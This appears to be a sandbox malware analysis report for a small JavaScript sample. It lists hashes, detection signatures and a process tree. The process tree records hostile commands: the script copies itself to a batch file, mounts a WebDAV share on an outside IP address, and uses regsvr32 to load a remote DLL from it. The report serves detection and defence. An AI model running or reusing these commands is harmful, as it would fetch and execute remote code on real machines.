Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 01:17

General

  • Target

    2334022725135531801.js

  • Size

    5KB

  • MD5

    f5bfe5d8e4a28572c1a8f113287549b7

  • SHA1

    daea905f5817ba1cc7742fbb7952fb7801f741a6

  • SHA256

    63149102d2ecdf637b0a009e1f007f127369cb7462e5ee0b6c11ae9bcdb27651

  • SHA512

    640a62d1ed117c38d192d3ee917c417d81a1ef093be405fcc02dcc88a37383951a2206191eb120fbe9f251a4810b185a67dd50893c2b0573d7590dab16a55837

  • SSDEEP

    96:6PUKgouyC68P/A7r/AV2b9FaqcWW6DeXyn8rmrHl+3rwrio/kG:ScyYP/K/NFD7oXycmI3rYX/kG

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2334022725135531801.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5064
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\2334022725135531801.js" "C:\Users\Admin\\aceiry.bat" && "C:\Users\Admin\\aceiry.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4264
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:3064
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\31.dll
          3⤵
            PID:940

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\aceiry.bat

        Filesize

        5KB

        MD5

        f5bfe5d8e4a28572c1a8f113287549b7

        SHA1

        daea905f5817ba1cc7742fbb7952fb7801f741a6

        SHA256

        63149102d2ecdf637b0a009e1f007f127369cb7462e5ee0b6c11ae9bcdb27651

        SHA512

        640a62d1ed117c38d192d3ee917c417d81a1ef093be405fcc02dcc88a37383951a2206191eb120fbe9f251a4810b185a67dd50893c2b0573d7590dab16a55837